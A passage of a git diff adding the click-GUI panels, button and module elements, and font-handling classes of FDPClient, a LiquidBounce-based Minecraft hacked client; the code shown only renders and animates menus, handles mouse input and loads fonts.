net.minecraft.client.gui.GuiScreen; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.client.renderer.RenderHelper; +import org.lwjgl.input.Mouse; + +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; +import java.util.Objects; + +public class ClickGui extends GuiScreen { + + public final List<Panel> panels = new ArrayList<>(); + public Style style = new SlowlyStyle(); + private Panel clickedPanel; + private int mouseX; + private int mouseY; + + private double slide, progress = 0; + + public ClickGui() { + final int width = 100; + final int height = 18; + + int yPos = 5; + for (final ModuleCategory category : ModuleCategory.values()) { + panels.add(new Panel(category.getDisplayName(), category, 100, yPos, width, height, false) { + + @Override + public void setupItems() { + for (Module module : FDPClient.moduleManager.getModules()) + if (module.getCategory() == category) + getElements().add(new ModuleElement(module)); + } + }); + + yPos += 20; + } + } + + @Override + public void drawScreen(int mouseX, int mouseY, float partialTicks) { + float trueCguiScale; + if (FDPClient.moduleManager.getModule(ClickGUIModule.class).INSTANCE.getStyleValue().get().equals("Jello")) { + trueCguiScale = 1; + } else if(FDPClient.moduleManager.getModule(ClickGUIModule.class).INSTANCE.getStyleValue().get().equals("Glow")) { + trueCguiScale = 1; + } else { + trueCguiScale = FDPClient.moduleManager.getModule(ClickGUIModule.class).INSTANCE.getScaleValue().get(); + } + final double scale = trueCguiScale; + if (progress < 1) progress += 0.1 * (1 - partialTicks); + else progress = 1; + + switch (Objects.requireNonNull(FDPClient.moduleManager.getModule(ClickGUIModule.class)).INSTANCE.getAnimationValue().get().toLowerCase()) { + case "liquidbounce": + case "ziul": + slide = EaseUtils.easeOutBack(progress); + break; + case "slide": + case "zoom": + case "bread": + slide = EaseUtils.easeOutQuart(progress); + break; + case "none": + slide = 1; + break; + } + + if (Mouse.isButtonDown(0) && mouseX >= 5 && mouseX <= 50 && mouseY <= height - 5 && mouseY >= height - 50) + mc.displayGuiScreen(new GuiHudDesigner()); + + AWTFontRenderer.Companion.setAssumeNonVolatile(true); + + mouseX /= scale; + mouseY /= scale; + + this.mouseX = mouseX; + this.mouseY = mouseY; + + switch (Objects.requireNonNull(FDPClient.moduleManager.getModule(ClickGUIModule.class)).INSTANCE.getBackgroundValue().get()) { + case "Default": + drawDefaultBackground(); + break; + case "Gradient": + drawGradientRect(0, 0, width, height, ColorUtils.reAlpha(ClickGUIModule.INSTANCE.generateColor(), 40).getRGB(), ClickGUIModule.INSTANCE.generateColor().getRGB()); + break; + default: + break; + } + + drawDefaultBackground(); + int defaultHeight1 = (this.height); + int defaultWidth1 = (this.width); + + switch (Objects.requireNonNull(FDPClient.moduleManager.getModule(ClickGUIModule.class)).INSTANCE.getAnimationValue().get().toLowerCase()) { + case "bread": + GlStateManager.translate(0, (1.0 - slide) * height * 2.0, 0); + GlStateManager.scale(scale, scale + (1.0 - slide) * 2.0, scale); + break; + case "slide": + case "liquidbounce": + GlStateManager.translate(0, (1.0 - slide) * height * 2.0, 0); + GlStateManager.scale(scale, scale, scale); + break; + case "zoom": + GlStateManager.translate((1.0 - slide) * (width / 2.0), (1.0 - slide) * (height / 2.0), (1.0 - slide) * (width / 2.0)); + GlStateManager.scale(scale * slide, scale * slide, scale * slide); + break; + case "ziul": + GlStateManager.translate((1.0 - slide) * (width / 2.0), (1.0 - slide) * (height / 2.0), 0); + GlStateManager.scale(scale * slide, scale * slide, scale * slide); + break; + case "none": + GlStateManager.scale(scale, scale, scale); + break; + } + + for (final Panel panel : panels) { + panel.updateFade(RenderUtils.deltaTime); + panel.drawScreen(mouseX, mouseY, partialTicks); + } + + for (final Panel panel : panels) { + for (final Element element : panel.getElements()) { + if (element instanceof ModuleElement) { + final ModuleElement moduleElement = (ModuleElement) element; + + if (mouseX != 0 && mouseY != 0 && moduleElement.isHovering(mouseX, mouseY) && moduleElement.isVisible() && element.getY() <= panel.getY() + panel.getFade()) + style.drawDescription(mouseX, mouseY, moduleElement.getModule().getDescription()); + } + } + } + + if (Mouse.hasWheel()) { + int wheel = Mouse.getDWheel(); + boolean handledScroll = false; + + for (int i = panels.size() - 1; i >= 0; i--) + if (panels.get(i).handleScroll(mouseX, mouseY, wheel)) { + handledScroll = true; + break; + } + + if (!handledScroll) + handleScroll(wheel); + } + + GlStateManager.disableLighting(); + RenderHelper.disableStandardItemLighting(); + + switch (Objects.requireNonNull(FDPClient.moduleManager.getModule(ClickGUIModule.class)).getAnimationValue().get().toLowerCase()) { + case "bread": + case "slide": + case "liquidbounce": + GlStateManager.translate(0, (1.0 - slide) * height * -2.0, 0); + break; + case "zoom": + GlStateManager.translate(-1 * (1.0 - slide) * (width / 2.0), -1 * (1.0 - slide) * (height / 2.0), -1 * (1.0 - slide) * (width / 2.0)); + break; + case "ziul": + GlStateManager.translate(-1 * (1.0 - slide) * (width / 2.0), -1 * (1.0 - slide) * (height / 2.0), 0); + break; + } + GlStateManager.scale(1, 1, 1); + + AWTFontRenderer.Companion.setAssumeNonVolatile(false); + + super.drawScreen(mouseX, mouseY, partialTicks); + } + + private void handleScroll(final int wheel) { + if (wheel == 0) + return; + + for(final Panel panel : panels) + panel.setY(panel.getY() + wheel); + } + + @Override + protected void mouseClicked(int mouseX, int mouseY, int mouseButton) throws IOException { + float trueCguiScale; + if (FDPClient.moduleManager.getModule(ClickGUIModule.class).getStyleValue().get().equals("Jello")) { + trueCguiScale = 1; + } else if(FDPClient.moduleManager.getModule(ClickGUIModule.class).getStyleValue().get().equals("Glow")) { + trueCguiScale = 1; + } else { + trueCguiScale = FDPClient.moduleManager.getModule(ClickGUIModule.class).getScaleValue().get(); + } + final double scale = trueCguiScale; + + mouseX /= scale; + mouseY /= scale; + + for (final Panel panel : panels) { + panel.mouseClicked(mouseX, mouseY, mouseButton); + + panel.drag = false; + + if (mouseButton == 0 && panel.isHovering(mouseX, mouseY)) + clickedPanel = panel; + } + if (clickedPanel != null) { + clickedPanel.x2 = clickedPanel.x - mouseX; + clickedPanel.y2 = clickedPanel.y - mouseY; + clickedPanel.drag = true; + + panels.remove(clickedPanel); + panels.add(clickedPanel); + clickedPanel = null; + } + + super.mouseClicked(mouseX, mouseY, mouseButton); + } + + @Override + protected void mouseReleased(int mouseX, int mouseY, int state) { + float trueCguiScale; + if (FDPClient.moduleManager.getModule(ClickGUIModule.class).getStyleValue().get().equals("Jello")) { + trueCguiScale = 1; + } else if(FDPClient.moduleManager.getModule(ClickGUIModule.class).getStyleValue().get().equals("Glow")) { + trueCguiScale = 1; + } else { + trueCguiScale = FDPClient.moduleManager.getModule(ClickGUIModule.class).getScaleValue().get(); + } + final double scale = trueCguiScale; + + mouseX /= scale; + mouseY /= scale; + + for (Panel panel : panels) { + panel.mouseReleased(mouseX, mouseY, state); + } + super.mouseReleased(mouseX, mouseY, state); + } + + @Override + public void updateScreen() { + for (final Panel panel : panels) { + for (final Element element : panel.getElements()) { + if (element instanceof ButtonElement) { + final ButtonElement buttonElement = (ButtonElement) element; + + if (buttonElement.isHovering(mouseX, mouseY)) { + if (buttonElement.hoverTime < 7) + buttonElement.hoverTime++; + } else if (buttonElement.hoverTime > 0) + buttonElement.hoverTime--; + } + + if (element instanceof ModuleElement) { + if (((ModuleElement) element).getModule().getState()) { + if (((ModuleElement) element).slowlyFade < 255) + ((ModuleElement) element).slowlyFade += 20; + } else if (((ModuleElement) element).slowlyFade > 0) + ((ModuleElement) element).slowlyFade -= 20; + + if (((ModuleElement) element).slowlyFade > 255) + ((ModuleElement) element).slowlyFade = 255; + + if (((ModuleElement) element).slowlyFade < 0) + ((ModuleElement) element).slowlyFade = 0; + } + } + } + super.updateScreen(); + } + + @Override + public void onGuiClosed() { + FDPClient.fileManager.saveConfig(modernuiLaunchOption.getClickGuiConfig()); + slide = 0; + progress = 0; + } + + @Override + public boolean doesGuiPauseGame() { + return false; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/Panel.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/Panel.java new file mode 100644 index 0000000..35a138c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/Panel.java @@ -0,0 +1,244 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.features.module.ModuleCategory; +import net.ccbluex.liquidbounce.ui.client.gui.ClickGUIModule; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.elements.Element; +import net.ccbluex.liquidbounce.ui.client.gui.options.modernuiLaunchOption; +import net.ccbluex.liquidbounce.utils.MinecraftInstance; +import net.minecraft.client.audio.PositionedSoundRecord; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.StringUtils; + +import java.util.ArrayList; +import java.util.List; + +public abstract class Panel extends MinecraftInstance { + + private final String name; + private final ModuleCategory category; + public int x; + public int y; + public int x2; + public int y2; + private final int width; + private final int height; + private int scroll; + private int dragged; + private boolean open; + public boolean drag; + private boolean scrollbar; + private final List<Element> elements; + private boolean visible; + + private float elementsHeight; + + private float fade; + + public Panel(String name, ModuleCategory category, int x, int y, int width, int height, boolean open) { + this.name = name; + this.category = category; + this.elements = new ArrayList<>(); + this.scrollbar = false; + this.x = x; + this.y = y; + this.width = width; + this.height = height; + this.open = open; + this.visible = true; + + setupItems(); + } + + public abstract void setupItems(); + + public void drawScreen(int mouseX, int mouseY, float button) { + if(!visible) + return; + + final int maxElements = FDPClient.moduleManager.getModule(ClickGUIModule.class).getMaxElementsValue().get(); + + // Drag + if(drag) { + int nx = x2 + mouseX; + int ny = y2 + mouseY; + if(nx > -1) + x = nx; + + if(ny > -1) + y = ny; + } + + elementsHeight = getElementsHeight() - 1; + boolean scrollbar = elements.size() >= maxElements; + if(this.scrollbar != scrollbar) + this.scrollbar = scrollbar; + + modernuiLaunchOption.clickGui.style.drawPanel(mouseX, mouseY, this); + + int y = this.y + height - 2; + int count = 0; + + for(final Element element : elements) { + if(++count > scroll && count < scroll + (maxElements + 1) && scroll < elements.size()) { + element.setLocation(x, y); + element.setWidth(getWidth()); + if(y <= getY() + fade) + element.drawScreen(mouseX, mouseY, button); + y += element.getHeight() + 1; + element.setVisible(true); + }else + element.setVisible(false); + } + } + + public void mouseClicked(int mouseX, int mouseY, int mouseButton) { + if(!visible) + return; + + if(mouseButton == 1 && isHovering(mouseX, mouseY)) { + open = !open; + mc.getSoundHandler().playSound(PositionedSoundRecord.create(new ResourceLocation("random.bow"), 1.0F)); + return; + } + + for(final Element element : elements) + if(element.getY() <= getY() + fade) + element.mouseClicked(mouseX, mouseY, mouseButton); + } + + public void mouseReleased(int mouseX, int mouseY, int state) { + if(!visible) + return; + + drag = false; + + if(!open) + return; + + for(final Element element : elements) + element.mouseReleased(mouseX, mouseY, state); + } + + public boolean handleScroll(int mouseX, int mouseY, int wheel) { + final int maxElements = FDPClient.moduleManager.getModule(ClickGUIModule.class).getMaxElementsValue().get(); + + if(mouseX >= getX() && mouseX <= getX() + 100 && mouseY >= getY() && mouseY <= getY() + 19 + elementsHeight) { + if(wheel < 0 && scroll < elements.size() - maxElements) { + ++scroll; + if(scroll < 0) + scroll = 0; + }else if(wheel > 0) { + --scroll; + if(scroll < 0) + scroll = 0; + } + + if(wheel < 0) { + if(dragged < elements.size() - maxElements) + ++dragged; + }else if(wheel > 0 && dragged >= 1) { + --dragged; + } + + return true; + } + return false; + } + + void updateFade(final int delta) { + if(open) { + if(fade < elementsHeight) fade += 0.4F * delta; + if(fade > elementsHeight) fade = (int) elementsHeight; + }else{ + if(fade > 0) fade -= 0.4F * delta; + if(fade < 0) fade = 0; + } + } + + public String getName() { + return name; + } + + public int getX() { + return this.x; + } + + public int getY() { + return this.y; + } + + public void setX(int dragX) { + this.x = dragX; + } + + public void setY(int dragY) { + this.y = dragY; + } + + public int getWidth() { + return this.width; + } + + public int getHeight() { + return this.height; + } + + public boolean getScrollbar() { + return this.scrollbar; + } + + public void setOpen(boolean open) { + this.open = open; + } + + public boolean getOpen() { + return this.open; + } + + public void setVisible(boolean visible) { + this.visible = visible; + } + + public boolean isVisible() { + return visible; + } + + public List<Element> getElements() { + return elements; + } + + public int getFade() { + return (int) fade; + } + + public int getDragged() { + return dragged; + } + + public ModuleCategory getCategory() { + return category; + } + + private int getElementsHeight() { + int height = 0; + int count = 0; + for(final Element element : elements) { + if (count >= FDPClient.moduleManager.getModule(ClickGUIModule.class).getMaxElementsValue().get()) + continue; + height += element.getHeight() + 1; + ++count; + } + return height; + } + + boolean isHovering(int mouseX, int mouseY) { + final float textWidth = mc.fontRendererObj.getStringWidth(StringUtils.stripControlCodes(name)) - 100F; + return mouseX >= x - textWidth / 2F - 19F && mouseX <= x - textWidth / 2F + mc.fontRendererObj.getStringWidth(StringUtils.stripControlCodes(name)) + 19F && mouseY >= y && mouseY <= y + height - (open ? 2 : 0); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/elements/ButtonElement.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/elements/ButtonElement.java new file mode 100644 index 0000000..026c73c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/elements/ButtonElement.java @@ -0,0 +1,51 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.elements; + +import net.ccbluex.liquidbounce.ui.client.gui.options.modernuiLaunchOption; + +public class ButtonElement extends Element { + + protected String displayName; + protected int color = 0xffffff; + + public int hoverTime; + + public ButtonElement(String displayName) { + createButton(displayName); + } + + public void createButton(String displayName) { + this.displayName = displayName; + } + + @Override + public void drawScreen(int mouseX, int mouseY, float button) { + modernuiLaunchOption.clickGui.style.drawButtonElement(mouseX, mouseY, this); + super.drawScreen(mouseX, mouseY, button); + } + + @Override + public int getHeight() { + return 16; + } + + public boolean isHovering(int mouseX, int mouseY) { + return mouseX >= getX() && mouseX <= getX() + getWidth() && mouseY >= getY() && mouseY <= getY() + 16; + } + + public String getDisplayName() { + return displayName; + } + + public void setColor(int color) { + this.color = color; + } + + public int getColor() { + return color; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/elements/Element.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/elements/Element.java new file mode 100644 index 0000000..258657d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/elements/Element.java @@ -0,0 +1,71 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.elements; + +import net.ccbluex.liquidbounce.utils.MinecraftInstance; + +public class Element extends MinecraftInstance { + + private int x; + private int y; + private int width; + private int height; + private boolean visible; + + public void setLocation(int x, int y) { + this.x = x; + this.y = y; + } + + public void drawScreen(int mouseX, int mouseY, float button) { + } + + public void mouseClicked(int mouseX, int mouseY, int mouseButton) { + } + + public void mouseReleased(int mouseX, int mouseY, int state) { + } + + public int getX() { + return x; + } + + public void setX(int x) { + this.x = x; + } + + public int getY() { + return y; + } + + public void setY(int y) { + this.y = y; + } + + public int getWidth() { + return width; + } + + public void setWidth(int width) { + this.width = width; + } + + public int getHeight() { + return height; + } + + public void setHeight(int height) { + this.height = height; + } + + public boolean isVisible() { + return visible; + } + + public void setVisible(boolean visible) { + this.visible = visible; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/elements/ModuleElement.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/elements/ModuleElement.java new file mode 100644 index 0000000..1d0b32b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/elements/ModuleElement.java @@ -0,0 +1,77 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.elements; + +import net.ccbluex.liquidbounce.features.module.Module; +import net.ccbluex.liquidbounce.ui.client.gui.options.modernuiLaunchOption; +import net.minecraft.client.audio.PositionedSoundRecord; +import net.minecraft.util.ResourceLocation; +import org.lwjgl.input.Mouse; + +public class ModuleElement extends ButtonElement { + + private final Module module; + + private boolean showSettings; + private float settingsWidth = 0F; + private boolean wasPressed; + + public int slowlySettingsYPos; + public int slowlyFade; + + public ModuleElement(final Module module) { + super(null); + + this.displayName = module.getLocalizedName(); + this.module = module; + } + + @Override + public void drawScreen(int mouseX, int mouseY, float button) { + modernuiLaunchOption.clickGui.style.drawModuleElement(mouseX, mouseY, this); + } + + @Override + public void mouseClicked(int mouseX, int mouseY, int mouseButton) { + if(mouseButton == 0 && isHovering(mouseX, mouseY) && isVisible()) { + module.toggle(); + mc.getSoundHandler().playSound(PositionedSoundRecord.create(new ResourceLocation("gui.button.press"), 1.0F)); + } + + if(mouseButton == 1 && isHovering(mouseX, mouseY) && isVisible()) { + showSettings = !showSettings; + mc.getSoundHandler().playSound(PositionedSoundRecord.create(new ResourceLocation("gui.button.press"), 1.0F)); + } + } + + public Module getModule() { + return module; + } + + public boolean isShowSettings() { + return showSettings; + } + + public void setShowSettings(boolean showSettings) { + this.showSettings = showSettings; + } + + public boolean isntPressed() { + return !wasPressed; + } + + public void updatePressed() { + wasPressed = Mouse.isButtonDown(0); + } + + public float getSettingsWidth() { + return settingsWidth; + } + + public void setSettingsWidth(float settingsWidth) { + this.settingsWidth = settingsWidth; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/api/FontFamily.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/api/FontFamily.java new file mode 100644 index 0000000..b2c0668 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/api/FontFamily.java @@ -0,0 +1,13 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.api; + +public interface FontFamily { + + FontRenderer ofSize(int size); + + FontType font(); +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/api/FontManager.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/api/FontManager.java new file mode 100644 index 0000000..3d2f2e0 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/api/FontManager.java @@ -0,0 +1,10 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.api; +@FunctionalInterface +public interface FontManager { + FontFamily fontFamily(FontType fontType); +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/api/FontRenderer.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/api/FontRenderer.java new file mode 100644 index 0000000..13623c5 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/api/FontRenderer.java @@ -0,0 +1,37 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.api; + +public interface FontRenderer { + float drawString(CharSequence text, float x, float y, int color, boolean dropShadow); + + String trimStringToWidth(CharSequence text, int width, boolean reverse); + int stringWidth(CharSequence text); + + int getHeight(); + + //region default methods + default float drawString(CharSequence text, float x, float y, int color) { + return drawString(text, x, y, color, false); + } + default void drawString(CharSequence text, int x, int y, int color) { + drawString(text, x, y, color, false); + } + default String trimStringToWidth(CharSequence text, int width) { + return trimStringToWidth(text, width, false); + } + + default float drawCenteredString(CharSequence text, float x, float y, int color, boolean dropShadow) { + return drawString(text, x - stringWidth(text) / 2.0F, y, color, dropShadow); + } + default float getMiddleOfBox(float boxHeight) { + return boxHeight / 2f - getHeight() / 2f; + } + + default void drawCenteredString(CharSequence text, float x, float y, int color) { + drawCenteredString(text, x, y, color, false); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/api/FontType.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/api/FontType.java new file mode 100644 index 0000000..164db59 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/api/FontType.java @@ -0,0 +1,33 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.api; +@SuppressWarnings("SpellCheckingInspection") +public enum FontType { + DM("diramight.ttf"), + FIXEDSYS("tahoma.ttf"), + ICONFONT("stylesicons.ttf"), + FluxICONFONT("flux.ttf"), + Check("check.ttf"), + TenacityBold("Tenacity.ttf"), + SF("SF.ttf"), + SFBOLD("SFBOLD.ttf"), + CHINESE("black.ttf"), + Tahoma("Tahoma.ttf"), + TahomaBold("Tahoma-Bold.ttf"), + SFTHIN("SFREGULAR.ttf"), + MAINMENU("mainmenu.ttf"), + GOOBOTO("gooboto.ttf"), + OXIDE("oxide.ttf"); + + + private final String fileName; + + FontType(String fileName) { + this.fileName = fileName; + } + + public String fileName() { return fileName; } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/impl/Fonts.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/impl/Fonts.java new file mode 100644 index 0000000..0713304 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/impl/Fonts.java @@ -0,0 +1,337 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.impl; + +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.api.FontFamily; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.api.FontManager; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.api.FontRenderer; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.api.FontType; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.logo.info; +@SuppressWarnings("SpellCheckingInspection") +public interface Fonts { + + FontManager FONT_MANAGER = info.getFontManager(); + + interface ICONFONT { + + FontFamily ICONFONT = FONT_MANAGER.fontFamily(FontType.ICONFONT); + + final class ICONFONT_16 { + + private ICONFONT_16() { + } + } + + final class ICONFONT_20 { + public static final FontRenderer ICONFONT_20 = ICONFONT.ofSize(20); + + private ICONFONT_20() { + } + } + + final class ICONFONT_24 { + public static final FontRenderer ICONFONT_24 = ICONFONT.ofSize(24); + + private ICONFONT_24() { + } + } + + final class ICONFONT_32 { + + private ICONFONT_32() { + } + } + + final class ICONFONT_35 { + + public static final FontRenderer ICONFONT_35 = ICONFONT.ofSize(35); + + private ICONFONT_35() { + } + } + + final class ICONFONT_50 { + + private ICONFONT_50() { + } + } + } + + interface MAINMENU { + FontFamily MAINMENU = FONT_MANAGER.fontFamily(FontType.MAINMENU); + final class MAINMENU30 { + public static final FontRenderer MAINMENU30 = MAINMENU.ofSize(30); + + private MAINMENU30() { + } + } + + } + + interface GOOBOTO { + FontFamily GOOBOTO = FONT_MANAGER.fontFamily(FontType.GOOBOTO); + final class GOOBOTO24 { + public static final FontRenderer GOOBOTO24 = GOOBOTO.ofSize(24); + + private GOOBOTO24(){ + + } + } + } + + interface CheckFont { + + FontFamily CheckFont = FONT_MANAGER.fontFamily(FontType.Check); + + final class CheckFont_16 { + + private CheckFont_16() { + } + } + + final class CheckFont_20 { + public static final FontRenderer CheckFont_20 = CheckFont.ofSize(20); + + private CheckFont_20() { + } + } + + final class CheckFont_24 { + public static final FontRenderer CheckFont_24 = CheckFont.ofSize(24); + + private CheckFont_24() { + } + } + + final class CheckFont_32 { + + private CheckFont_32() { + } + } + + final class CheckFont_35 { + + private CheckFont_35() { + } + } + + final class CheckFont_50 { + + private CheckFont_50() { + } + } + } + + interface SF { + + FontFamily SF = FONT_MANAGER.fontFamily(FontType.SF); + + final class SF_9 { + + private SF_9() { + } + } + + final class SF_11 { + + private SF_11() { + } + } + + final class SF_14 { + public static final FontRenderer SF_14 = SF.ofSize(14); + + private SF_14() { + } + } + + final class SF_15 { + + private SF_15() { + } + } + + final class SF_16 { + public static final FontRenderer SF_16 = SF.ofSize(16); + + private SF_16() { + } + } + + final class SF_17 { + public static final FontRenderer SF_17 = SF.ofSize(17); + + private SF_17() { + } + } + + final class SF_18 { + public static final FontRenderer SF_18 = SF.ofSize(18); + + private SF_18() { + } + } + + final class SF_19 { + + private SF_19() { + } + } + + final class SF_20 { + public static final FontRenderer SF_20 = SF.ofSize(20); + + private SF_20() { + } + } + + final class SF_21 { + + private SF_21() { + } + } + + final class SF_22 { + + private SF_22() { + } + } + + final class SF_23 { + + private SF_23() { + } + } + + final class SF_24 { + + private SF_24() { + } + } + + final class SF_25 { + + private SF_25() { + } + } + + final class SF_26 { + + private SF_26() { + } + } + + final class SF_27 { + + private SF_27() { + } + } + + final class SF_28 { + + private SF_28() { + } + } + + final class SF_29 { + + private SF_29() { + } + } + + final class SF_30 { + + private SF_30() { + } + } + + final class SF_35 { + + private SF_35() { + } + } + + final class SF_31 { + + private SF_31() { + } + } + + final class SF_50 { + + private SF_50() { + } + } + } + + interface SFBOLD { + + FontFamily SFBOLD = FONT_MANAGER.fontFamily(FontType.SFBOLD); + + final class SFBOLD_11 { + + private SFBOLD_11() { + } + } + + final class SFBOLD_12 { + + private SFBOLD_12() { + } + } + + final class SFBOLD_16 { + + private SFBOLD_16() { + } + } + + final class SFBOLD_18 { + public static final FontRenderer SFBOLD_18 = SFBOLD.ofSize(18); + + private SFBOLD_18() { + } + } + + final class SFBOLD_20 { + + private SFBOLD_20() { + } + } + + final class SFBOLD_22 { + + private SFBOLD_22() { + } + } + + final class SFBOLD_26 { + public static final FontRenderer SFBOLD_26 = SFBOLD.ofSize(26); + + private SFBOLD_26() { + } + } + + final class SFBOLD_28 { + + private SFBOLD_28() { + } + } + + final class SFBOLD_35 { + + private SFBOLD_35() { + } + } + + final class SFBOLD_50 { + + private SFBOLD_50() { + } + } + + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/impl/SimpleFontFamily.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/impl/SimpleFontFamily.java new file mode 100644 index 0000000..c1c397c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/impl/SimpleFontFamily.java @@ -0,0 +1,32 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.impl; + +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.api.FontFamily; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.api.FontRenderer; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.api.FontType; +final class SimpleFontFamily implements FontFamily { + + private final FontType fontType; + private final java.awt.Font awtFont; + + private SimpleFontFamily(FontType fontType, java.awt.Font awtFont) { + this.fontType = fontType; + this.awtFont = awtFont; + } + + static FontFamily create(FontType fontType, java.awt.Font awtFont) { + return new SimpleFontFamily(fontType, awtFont); + } + + @Override + public FontRenderer ofSize(int size) { + return SimpleFontRenderer.create(awtFont.deriveFont(java.awt.Font.PLAIN, size)); + } + + @Override + public FontType font() { return fontType; } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/impl/SimpleFontManager.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/impl/SimpleFontManager.java new file mode 100644 index 0000000..3c2c085 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/fonts/impl/SimpleFontManager.java @@ -0,0 +1,82 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.impl; + +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.api.FontFamily; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.api.FontManager; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.api.FontType; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.util.SneakyThrowing; +import net.minecraft.client.Minecraft; +import net.minecraft.client.resources.IResource; +import net.minecraft.client.resources.IResourceManager; +import net.minecraft.util.ResourceLocation; + +import java.awt.*; +import java.io.IOException; +import java.io.InputStream; +import java.util.EnumMap; + +public final class SimpleFontManager implements FontManager { + + private SimpleFontManager() {} + + public static FontManager create() { + return new 